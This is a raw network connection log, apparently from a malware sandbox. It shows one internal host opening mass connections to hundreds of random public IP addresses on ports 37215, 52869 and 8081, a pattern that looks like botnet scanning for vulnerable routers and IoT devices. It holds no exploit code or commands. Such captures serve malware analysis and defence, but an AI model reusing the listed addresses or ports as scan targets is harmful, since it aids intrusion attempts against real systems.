Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	197.179.79.150
Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	41.17.22.204
Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	197.45.179.250
Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	197.7.223.27
Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	41.74.180.192
Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	54.141.203.255
Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	197.169.167.85
Jul 20, 2024 23:05:41.584965944 CEST	44719	37215	192.168.2.13	41.86.191.132
Jul 20, 2024 23:05:41.584965944 CEST	44719	37215	192.168.2.13	157.140.198.179
Jul 20, 2024 23:05:41.584965944 CEST	44719	37215	192.168.2.13	157.71.150.57
Jul 20, 2024 23:05:41.584965944 CEST	44719	37215	192.168.2.13	41.255.196.26
Jul 20, 2024 23:05:41.584965944 CEST	44719	37215	192.168.2.13	41.226.157.38
Jul 20, 2024 23:05:41.584965944 CEST	44719	37215	192.168.2.13	184.217.81.113
Jul 20, 2024 23:05:41.584965944 CEST	44719	37215	192.168.2.13	197.22.237.226
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	68.238.145.132
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	201.190.152.14
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	95.198.159.19
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	195.41.191.105
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	157.238.192.85
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	53.60.47.148
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	178.177.156.149
Jul 20, 2024 23:05:41.586041927 CEST	43439	8081	192.168.2.13	109.208.7.182
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	212.0.155.37
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	97.190.36.196
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	134.246.13.116
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	65.82.144.185
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	204.92.97.21
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	203.131.200.43
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	174.55.204.31
Jul 20, 2024 23:05:41.586277008 CEST	43695	52869	192.168.2.13	219.237.99.244
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	100.33.47.252
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	219.185.143.162
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	163.137.21.21
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	123.82.131.246
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	58.45.66.216
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	219.10.237.79
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	154.237.61.130
Jul 20, 2024 23:05:41.587717056 CEST	43695	52869	192.168.2.13	145.19.26.68
Jul 20, 2024 23:05:41.588493109 CEST	52869	43695	177.82.131.223	192.168.2.13
Jul 20, 2024 23:05:41.588500023 CEST	52869	43695	20.92.46.126	192.168.2.13
Jul 20, 2024 23:05:41.588505030 CEST	52869	43695	51.248.12.8	192.168.2.13
Jul 20, 2024 23:05:41.588505983 CEST	52869	43695	2.174.102.156	192.168.2.13
Jul 20, 2024 23:05:41.588506937 CEST	52869	43695	201.40.134.247	192.168.2.13
Jul 20, 2024 23:05:41.588507891 CEST	52869	43695	181.48.248.186	192.168.2.13
Jul 20, 2024 23:05:41.588510036 CEST	52869	43695	128.19.80.131	192.168.2.13
Jul 20, 2024 23:05:41.588514090 CEST	52869	43695	163.16.42.57	192.168.2.13
Jul 20, 2024 23:05:41.588515043 CEST	52869	43695	217.2.125.198	192.168.2.13
Jul 20, 2024 23:05:41.588515997 CEST	52869	43695	34.209.246.186	192.168.2.13
Jul 20, 2024 23:05:41.588516951 CEST	52869	43695	219.165.248.107	192.168.2.13
Jul 20, 2024 23:05:41.588517904 CEST	52869	43695	135.109.236.216	192.168.2.13
Jul 20, 2024 23:05:41.588520050 CEST	52869	43695	206.141.100.77	192.168.2.13
Jul 20, 2024 23:05:41.588524103 CEST	52869	43695	48.99.217.220	192.168.2.13
Jul 20, 2024 23:05:41.588527918 CEST	52869	43695	157.224.208.16	192.168.2.13
Jul 20, 2024 23:05:41.588531971 CEST	52869	43695	1.147.145.150	192.168.2.13
Jul 20, 2024 23:05:41.588535070 CEST	52869	43695	198.189.28.184	192.168.2.13
Jul 20, 2024 23:05:41.588538885 CEST	52869	43695	141.172.255.120	192.168.2.13
Jul 20, 2024 23:05:41.588546038 CEST	52869	43695	76.38.151.253	192.168.2.13
Jul 20, 2024 23:05:41.588547945 CEST	52869	43695	200.15.78.244	192.168.2.13
Jul 20, 2024 23:05:41.588551044 CEST	52869	43695	27.206.31.28	192.168.2.13
Jul 20, 2024 23:05:41.588552952 CEST	52869	43695	68.121.200.194	192.168.2.13
Jul 20, 2024 23:05:41.588553905 CEST	52869	43695	132.95.164.18	192.168.2.13
Jul 20, 2024 23:05:41.588558912 CEST	52869	43695	79.164.194.165	192.168.2.13
Jul 20, 2024 23:05:41.588562012 CEST	52869	43695	40.109.154.72	192.168.2.13
Jul 20, 2024 23:05:41.588566065 CEST	52869	43695	104.96.206.187	192.168.2.13
Jul 20, 2024 23:05:41.588570118 CEST	52869	43695	96.68.56.55	192.168.2.13
Jul 20, 2024 23:05:41.588573933 CEST	52869	43695	167.203.115.207	192.168.2.13
Jul 20, 2024 23:05:41.588577986 CEST	52869	43695	76.39.255.20	192.168.2.13
Jul 20, 2024 23:05:41.588582039 CEST	52869	43695	148.60.114.98	192.168.2.13
Jul 20, 2024 23:05:41.588586092 CEST	52869	43695	172.206.170.91	192.168.2.13
Jul 20, 2024 23:05:41.588589907 CEST	52869	43695	17.142.143.150	192.168.2.13
Jul 20, 2024 23:05:41.588593960 CEST	52869	43695	213.186.60.79	192.168.2.13
Jul 20, 2024 23:05:41.588598967 CEST	52869	43695	144.36.184.140	192.168.2.13
Jul 20, 2024 23:05:41.588603020 CEST	52869	43695	124.228.154.150	192.168.2.13
Jul 20, 2024 23:05:41.588607073 CEST	52869	43695	143.83.164.172	192.168.2.13
Jul 20, 2024 23:05:41.588608027 CEST	52869	43695	219.10.155.24	192.168.2.13
Jul 20, 2024 23:05:41.588609934 CEST	52869	43695	8.206.158.177	192.168.2.13
Jul 20, 2024 23:05:41.588610888 CEST	52869	43695	135.167.95.136	192.168.2.13
Jul 20, 2024 23:05:41.588614941 CEST	52869	43695	112.208.243.225	192.168.2.13
Jul 20, 2024 23:05:41.588615894 CEST	52869	43695	185.161.254.8	192.168.2.13
Jul 20, 2024 23:05:41.588617086 CEST	52869	43695	171.212.235.66	192.168.2.13
Jul 20, 2024 23:05:41.588618994 CEST	52869	43695	39.227.234.202	192.168.2.13
Jul 20, 2024 23:05:41.588619947 CEST	52869	43695	139.245.15.1	192.168.2.13
Jul 20, 2024 23:05:41.588620901 CEST	52869	43695	88.166.52.151	192.168.2.13
Jul 20, 2024 23:05:41.588624001 CEST	52869	43695	101.229.203.102	192.168.2.13
Jul 20, 2024 23:05:41.588628054 CEST	52869	43695	169.72.49.208	192.168.2.13
Jul 20, 2024 23:05:41.588632107 CEST	52869	43695	197.184.33.48	192.168.2.13
Jul 20, 2024 23:05:41.588634968 CEST	52869	43695	107.211.240.189	192.168.2.13
Jul 20, 2024 23:05:41.588635921 CEST	52869	43695	220.219.240.202	192.168.2.13
Jul 20, 2024 23:05:41.588639975 CEST	52869	43695	20.60.80.137	192.168.2.13
Jul 20, 2024 23:05:41.588645935 CEST	52869	43695	98.18.219.95	192.168.2.13
Jul 20, 2024 23:05:41.588648081 CEST	52869	43695	19.80.213.198	192.168.2.13
Jul 20, 2024 23:05:41.588651896 CEST	52869	43695	12.187.5.232	192.168.2.13
Jul 20, 2024 23:05:41.588653088 CEST	52869	43695	220.144.218.43	192.168.2.13
Jul 20, 2024 23:05:41.588656902 CEST	52869	43695	72.202.39.101	192.168.2.13
Jul 20, 2024 23:05:41.588660955 CEST	52869	43695	9.105.60.39	192.168.2.13
Jul 20, 2024 23:05:41.588665009 CEST	52869	43695	208.236.16.68	192.168.2.13
Jul 20, 2024 23:05:41.588665962 CEST	52869	43695	152.149.49.0	192.168.2.13
Jul 20, 2024 23:05:41.588666916 CEST	52869	43695	27.206.168.52	192.168.2.13
Jul 20, 2024 23:05:41.588670015 CEST	52869	43695	134.61.131.203	192.168.2.13
Jul 20, 2024 23:05:41.588682890 CEST	43695	52869	192.168.2.13	217.2.125.198
Jul 20, 2024 23:05:41.588682890 CEST	43695	52869	192.168.2.13	96.68.56.55
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	111.95.120.159
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	223.250.77.197
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	37.177.32.112
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	155.142.217.138
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	144.98.215.70
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	202.79.86.181
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	59.87.201.197
Jul 20, 2024 23:05:41.589452028 CEST	43439	8081	192.168.2.13	207.65.89.76
Jul 20, 2024 23:05:41.589808941 CEST	43695	52869	192.168.2.13	135.109.236.216
Jul 20, 2024 23:05:41.589808941 CEST	43695	52869	192.168.2.13	20.92.46.126
Jul 20, 2024 23:05:41.589808941 CEST	43695	52869	192.168.2.13	98.18.219.95
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	157.78.252.65
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	197.142.212.242
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	36.133.99.193
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	41.200.99.20
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	197.197.49.199
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	41.19.213.163
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	157.175.52.226
Jul 20, 2024 23:05:41.589930058 CEST	44719	37215	192.168.2.13	157.44.218.219
Jul 20, 2024 23:05:41.590656042 CEST	43439	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:41.590656042 CEST	43439	8081	192.168.2.13	105.226.213.209
Jul 20, 2024 23:05:41.590656042 CEST	43439	8081	192.168.2.13	17.117.143.98
Jul 20, 2024 23:05:41.590656042 CEST	43439	8081	192.168.2.13	154.179.195.34
Jul 20, 2024 23:05:41.590656042 CEST	43439	8081	192.168.2.13	150.64.220.17
Jul 20, 2024 23:05:41.590656042 CEST	43439	8081	192.168.2.13	141.254.162.226
Jul 20, 2024 23:05:41.590656996 CEST	43439	8081	192.168.2.13	216.120.175.81
Jul 20, 2024 23:05:41.590656996 CEST	43439	8081	192.168.2.13	154.220.1.16
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	41.103.167.77
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	41.195.164.158
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	41.33.121.197
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	41.168.136.244
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	41.174.101.242
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	157.174.6.204
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	129.139.212.11
Jul 20, 2024 23:05:41.590987921 CEST	44719	37215	192.168.2.13	41.210.71.65
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	38.34.80.53
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	190.17.231.187
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	155.252.84.85
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	119.59.53.48
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	124.47.102.109
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	17.142.143.150
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	163.16.42.57
Jul 20, 2024 23:05:41.592647076 CEST	43695	52869	192.168.2.13	169.72.49.208
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	51.66.153.104
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	174.160.204.212
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	32.129.43.121
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	175.247.155.26
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	165.206.169.184
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	65.39.21.181
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	165.203.180.185
Jul 20, 2024 23:05:41.593019009 CEST	43695	52869	192.168.2.13	102.252.137.223
Jul 20, 2024 23:05:41.594409943 CEST	43439	8081	192.168.2.13	50.135.198.195
Jul 20, 2024 23:05:41.594409943 CEST	43439	8081	192.168.2.13	60.27.15.186
Jul 20, 2024 23:05:41.594409943 CEST	43439	8081	192.168.2.13	187.244.164.153
Jul 20, 2024 23:05:41.594409943 CEST	43439	8081	192.168.2.13	9.80.224.130
Jul 20, 2024 23:05:41.594409943 CEST	43439	8081	192.168.2.13	216.45.186.119
Jul 20, 2024 23:05:41.594409943 CEST	43695	52869	192.168.2.13	115.77.146.7
Jul 20, 2024 23:05:41.594409943 CEST	43695	52869	192.168.2.13	144.25.185.135
Jul 20, 2024 23:05:41.594409943 CEST	43439	8081	192.168.2.13	161.122.130.29
Jul 20, 2024 23:05:41.594789028 CEST	43439	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:41.594789028 CEST	43439	8081	192.168.2.13	138.22.150.174
Jul 20, 2024 23:05:41.594789028 CEST	43439	8081	192.168.2.13	137.23.201.104
Jul 20, 2024 23:05:41.594789028 CEST	43439	8081	192.168.2.13	129.77.207.171
Jul 20, 2024 23:05:41.594789028 CEST	43439	8081	192.168.2.13	122.203.235.47
Jul 20, 2024 23:05:41.594856977 CEST	43439	8081	192.168.2.13	197.91.32.62
Jul 20, 2024 23:05:41.594856977 CEST	43439	8081	192.168.2.13	124.64.97.110
Jul 20, 2024 23:05:41.594856977 CEST	43695	52869	192.168.2.13	160.106.55.221
Jul 20, 2024 23:05:41.594856977 CEST	43439	8081	192.168.2.13	49.245.15.5
Jul 20, 2024 23:05:41.594856977 CEST	43439	8081	192.168.2.13	122.94.200.46
Jul 20, 2024 23:05:41.594856977 CEST	43695	52869	192.168.2.13	162.117.173.204
Jul 20, 2024 23:05:41.594856977 CEST	43695	52869	192.168.2.13	86.30.180.165
Jul 20, 2024 23:05:41.594856977 CEST	43695	52869	192.168.2.13	50.233.235.83
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	211.37.100.5
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	131.157.50.161
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	156.35.182.86
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	199.231.47.60
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	155.60.200.183
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	64.163.21.53
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	83.35.207.92
Jul 20, 2024 23:05:41.596087933 CEST	43439	8081	192.168.2.13	2.211.16.69
Jul 20, 2024 23:05:41.596705914 CEST	43695	52869	192.168.2.13	132.95.164.18
Jul 20, 2024 23:05:41.596705914 CEST	43695	52869	192.168.2.13	79.164.194.165
Jul 20, 2024 23:05:41.596705914 CEST	43695	52869	192.168.2.13	72.202.39.101
Jul 20, 2024 23:05:41.596705914 CEST	43695	52869	192.168.2.13	208.236.16.68
Jul 20, 2024 23:05:41.596919060 CEST	44719	37215	192.168.2.13	41.35.236.113
Jul 20, 2024 23:05:41.596919060 CEST	44719	37215	192.168.2.13	157.179.96.97
Jul 20, 2024 23:05:41.596919060 CEST	44719	37215	192.168.2.13	41.195.113.211
Jul 20, 2024 23:05:41.596919060 CEST	44719	37215	192.168.2.13	197.225.242.52
Jul 20, 2024 23:05:41.596919060 CEST	44719	37215	192.168.2.13	157.175.198.155
Jul 20, 2024 23:05:41.596919060 CEST	44719	37215	192.168.2.13	222.79.13.18
Jul 20, 2024 23:05:41.596919060 CEST	44719	37215	192.168.2.13	41.59.30.21
Jul 20, 2024 23:05:41.597625971 CEST	43695	52869	192.168.2.13	24.192.175.210
Jul 20, 2024 23:05:41.597625971 CEST	43695	52869	192.168.2.13	171.175.134.49
Jul 20, 2024 23:05:41.597625971 CEST	43695	52869	192.168.2.13	76.196.97.229
Jul 20, 2024 23:05:41.597625971 CEST	43695	52869	192.168.2.13	69.161.91.68
Jul 20, 2024 23:05:41.597625971 CEST	43695	52869	192.168.2.13	85.68.160.7
Jul 20, 2024 23:05:41.597625971 CEST	43695	52869	192.168.2.13	130.189.227.62
Jul 20, 2024 23:05:41.597625971 CEST	43695	52869	192.168.2.13	194.90.73.104
Jul 20, 2024 23:05:41.597626925 CEST	43695	52869	192.168.2.13	122.198.22.112
Jul 20, 2024 23:05:41.598217010 CEST	43439	8081	192.168.2.13	99.139.175.129
Jul 20, 2024 23:05:41.598217010 CEST	43439	8081	192.168.2.13	37.231.130.247
Jul 20, 2024 23:05:41.598217010 CEST	43439	8081	192.168.2.13	39.150.124.187
Jul 20, 2024 23:05:41.598217010 CEST	43439	8081	192.168.2.13	101.217.104.145
Jul 20, 2024 23:05:41.598217010 CEST	43439	8081	192.168.2.13	198.173.153.52
Jul 20, 2024 23:05:41.598217010 CEST	43439	8081	192.168.2.13	70.83.80.195
Jul 20, 2024 23:05:41.598217010 CEST	43695	52869	192.168.2.13	35.104.62.133
Jul 20, 2024 23:05:41.598217010 CEST	43439	8081	192.168.2.13	45.72.63.232
Jul 20, 2024 23:05:41.598591089 CEST	43439	8081	192.168.2.13	168.195.7.206
Jul 20, 2024 23:05:41.598591089 CEST	43695	52869	192.168.2.13	82.195.250.33
Jul 20, 2024 23:05:41.598591089 CEST	43695	52869	192.168.2.13	166.204.75.195
Jul 20, 2024 23:05:41.598591089 CEST	43695	52869	192.168.2.13	17.224.8.103
Jul 20, 2024 23:05:41.598591089 CEST	43695	52869	192.168.2.13	202.97.243.71
Jul 20, 2024 23:05:41.598591089 CEST	43695	52869	192.168.2.13	188.55.57.46
Jul 20, 2024 23:05:41.598591089 CEST	43695	52869	192.168.2.13	135.239.80.215
Jul 20, 2024 23:05:41.598591089 CEST	43695	52869	192.168.2.13	90.255.224.190
Jul 20, 2024 23:05:41.599801064 CEST	43439	8081	192.168.2.13	34.193.29.237
Jul 20, 2024 23:05:41.599801064 CEST	43695	52869	192.168.2.13	44.34.223.198
Jul 20, 2024 23:05:41.599801064 CEST	43695	52869	192.168.2.13	88.222.234.137
Jul 20, 2024 23:05:41.599801064 CEST	43695	52869	192.168.2.13	113.231.23.188
Jul 20, 2024 23:05:41.599801064 CEST	43695	52869	192.168.2.13	17.49.239.125
Jul 20, 2024 23:05:41.599802017 CEST	43695	52869	192.168.2.13	143.23.218.174
Jul 20, 2024 23:05:41.599802017 CEST	43695	52869	192.168.2.13	119.122.30.243
Jul 20, 2024 23:05:41.599802017 CEST	43695	52869	192.168.2.13	62.57.160.79
Jul 20, 2024 23:05:41.600172043 CEST	43439	8081	192.168.2.13	183.124.37.55
Jul 20, 2024 23:05:41.600172043 CEST	43439	8081	192.168.2.13	115.2.148.25
Jul 20, 2024 23:05:41.600172043 CEST	43695	52869	192.168.2.13	5.165.130.202
Jul 20, 2024 23:05:41.600172043 CEST	43695	52869	192.168.2.13	103.55.147.65
Jul 20, 2024 23:05:41.600172043 CEST	43439	8081	192.168.2.13	146.75.115.117
Jul 20, 2024 23:05:41.600172043 CEST	43695	52869	192.168.2.13	167.161.118.96
Jul 20, 2024 23:05:41.600172043 CEST	43439	8081	192.168.2.13	204.143.131.82
Jul 20, 2024 23:05:41.600172043 CEST	43439	8081	192.168.2.13	77.196.228.15
Jul 20, 2024 23:05:41.600465059 CEST	44719	37215	192.168.2.13	41.171.41.179
Jul 20, 2024 23:05:41.600465059 CEST	44719	37215	192.168.2.13	157.124.76.92
Jul 20, 2024 23:05:41.600465059 CEST	44719	37215	192.168.2.13	167.96.239.176
Jul 20, 2024 23:05:41.600465059 CEST	44719	37215	192.168.2.13	197.171.155.210
Jul 20, 2024 23:05:41.600465059 CEST	44719	37215	192.168.2.13	139.86.191.50
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	43.55.103.102
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	74.218.240.226
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	157.46.197.45
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	128.59.214.173
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	126.227.20.252
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	74.120.42.21
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	43.170.141.117
Jul 20, 2024 23:05:41.602330923 CEST	43695	52869	192.168.2.13	190.123.56.11
Jul 20, 2024 23:05:41.602438927 CEST	43439	8081	192.168.2.13	180.3.114.229
Jul 20, 2024 23:05:41.602438927 CEST	43695	52869	192.168.2.13	94.171.12.188
Jul 20, 2024 23:05:41.602438927 CEST	43695	52869	192.168.2.13	48.182.251.156
Jul 20, 2024 23:05:41.602438927 CEST	43695	52869	192.168.2.13	54.31.71.152
Jul 20, 2024 23:05:41.602438927 CEST	43695	52869	192.168.2.13	38.201.29.73
Jul 20, 2024 23:05:41.602438927 CEST	43695	52869	192.168.2.13	154.188.135.231
Jul 20, 2024 23:05:41.602438927 CEST	43695	52869	192.168.2.13	39.214.96.221
Jul 20, 2024 23:05:41.602438927 CEST	43695	52869	192.168.2.13	17.186.208.18
Jul 20, 2024 23:05:41.602684975 CEST	43439	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:41.602684975 CEST	43439	8081	192.168.2.13	139.252.209.56
Jul 20, 2024 23:05:41.602684975 CEST	43439	8081	192.168.2.13	57.77.208.172
Jul 20, 2024 23:05:41.602684975 CEST	43439	8081	192.168.2.13	114.5.162.119
Jul 20, 2024 23:05:41.602684975 CEST	43439	8081	192.168.2.13	152.61.98.197
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	91.152.181.98
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	32.171.38.214
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	222.199.215.188
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	125.207.211.223
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	97.111.37.128
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	206.175.134.230
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	139.53.167.255
Jul 20, 2024 23:05:41.602708101 CEST	43695	52869	192.168.2.13	91.140.223.248
Jul 20, 2024 23:05:41.602827072 CEST	43695	52869	192.168.2.13	60.172.237.222
Jul 20, 2024 23:05:41.602827072 CEST	43439	8081	192.168.2.13	180.168.102.156
Jul 20, 2024 23:05:41.602827072 CEST	43439	8081	192.168.2.13	43.187.84.77
Jul 20, 2024 23:05:41.602827072 CEST	43695	52869	192.168.2.13	157.229.158.93
Jul 20, 2024 23:05:41.602827072 CEST	43695	52869	192.168.2.13	97.119.31.69
Jul 20, 2024 23:05:41.602827072 CEST	43695	52869	192.168.2.13	103.189.90.59
Jul 20, 2024 23:05:41.602827072 CEST	43695	52869	192.168.2.13	160.3.93.203
Jul 20, 2024 23:05:41.602827072 CEST	43439	8081	192.168.2.13	189.19.147.148
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	194.246.84.56
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	204.14.76.54
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	106.156.101.166
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	194.152.133.22
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	200.111.219.20
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	110.194.176.186
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	86.203.50.214
Jul 20, 2024 23:05:41.603323936 CEST	43695	52869	192.168.2.13	216.105.103.140
Jul 20, 2024 23:05:41.604300976 CEST	52869	43695	204.125.240.228	192.168.2.13
Jul 20, 2024 23:05:41.604306936 CEST	52869	43695	80.8.221.69	192.168.2.13
Jul 20, 2024 23:05:41.604307890 CEST	52869	43695	133.149.136.121	192.168.2.13
Jul 20, 2024 23:05:41.604310036 CEST	52869	43695	170.157.48.1	192.168.2.13
Jul 20, 2024 23:05:41.604312897 CEST	52869	43695	84.85.127.134	192.168.2.13
Jul 20, 2024 23:05:41.604314089 CEST	52869	43695	95.137.137.218	192.168.2.13
Jul 20, 2024 23:05:41.604315996 CEST	52869	43695	168.249.67.154	192.168.2.13
Jul 20, 2024 23:05:41.604316950 CEST	52869	43695	76.138.76.53	192.168.2.13
Jul 20, 2024 23:05:41.604317904 CEST	52869	43695	79.32.244.49	192.168.2.13
Jul 20, 2024 23:05:41.604321003 CEST	52869	43695	217.218.196.204	192.168.2.13
Jul 20, 2024 23:05:41.604322910 CEST	52869	43695	106.24.45.83	192.168.2.13
Jul 20, 2024 23:05:41.604326010 CEST	52869	43695	78.113.18.110	192.168.2.13
Jul 20, 2024 23:05:41.604330063 CEST	52869	43695	2.152.71.152	192.168.2.13
Jul 20, 2024 23:05:41.604331970 CEST	52869	43695	223.187.125.191	192.168.2.13
Jul 20, 2024 23:05:41.604335070 CEST	52869	43695	104.207.70.64	192.168.2.13
Jul 20, 2024 23:05:41.604338884 CEST	52869	43695	101.147.132.180	192.168.2.13
Jul 20, 2024 23:05:41.604340076 CEST	52869	43695	152.123.228.128	192.168.2.13
Jul 20, 2024 23:05:41.604343891 CEST	52869	43695	186.66.83.107	192.168.2.13
Jul 20, 2024 23:05:41.604348898 CEST	52869	43695	46.126.2.244	192.168.2.13
Jul 20, 2024 23:05:41.604351997 CEST	52869	43695	12.229.29.193	192.168.2.13
Jul 20, 2024 23:05:41.604353905 CEST	52869	43695	159.72.76.181	192.168.2.13
Jul 20, 2024 23:05:41.604355097 CEST	52869	43695	181.75.92.107	192.168.2.13
Jul 20, 2024 23:05:41.604356050 CEST	52869	43695	76.255.204.66	192.168.2.13
Jul 20, 2024 23:05:41.604357004 CEST	52869	43695	54.53.247.204	192.168.2.13
Jul 20, 2024 23:05:41.604360104 CEST	52869	43695	75.237.222.251	192.168.2.13
Jul 20, 2024 23:05:41.604363918 CEST	52869	43695	65.197.141.74	192.168.2.13
Jul 20, 2024 23:05:41.604365110 CEST	52869	43695	103.119.249.171	192.168.2.13
Jul 20, 2024 23:05:41.604366064 CEST	52869	43695	32.39.5.121	192.168.2.13
Jul 20, 2024 23:05:41.604367018 CEST	52869	43695	151.249.74.160	192.168.2.13
Jul 20, 2024 23:05:41.604367971 CEST	52869	43695	18.143.16.236	192.168.2.13
Jul 20, 2024 23:05:41.604370117 CEST	52869	43695	131.42.216.60	192.168.2.13
Jul 20, 2024 23:05:41.604373932 CEST	52869	43695	50.66.193.151	192.168.2.13
Jul 20, 2024 23:05:41.604374886 CEST	52869	43695	112.160.90.242	192.168.2.13
Jul 20, 2024 23:05:41.604376078 CEST	52869	43695	196.79.249.45	192.168.2.13
Jul 20, 2024 23:05:41.604376078 CEST	52869	43695	141.84.202.207	192.168.2.13
Jul 20, 2024 23:05:41.604379892 CEST	52869	43695	180.84.255.5	192.168.2.13
Jul 20, 2024 23:05:41.604383945 CEST	52869	43695	167.230.115.81	192.168.2.13
Jul 20, 2024 23:05:41.604384899 CEST	52869	43695	89.220.192.131	192.168.2.13
Jul 20, 2024 23:05:41.604389906 CEST	52869	43695	192.63.21.56	192.168.2.13
Jul 20, 2024 23:05:41.604393959 CEST	52869	43695	122.96.96.240	192.168.2.13
Jul 20, 2024 23:05:41.604397058 CEST	52869	43695	114.232.25.86	192.168.2.13
Jul 20, 2024 23:05:41.604401112 CEST	52869	43695	19.103.146.122	192.168.2.13
Jul 20, 2024 23:05:41.604402065 CEST	52869	43695	189.77.136.125	192.168.2.13
Jul 20, 2024 23:05:41.604404926 CEST	52869	43695	114.138.146.55	192.168.2.13
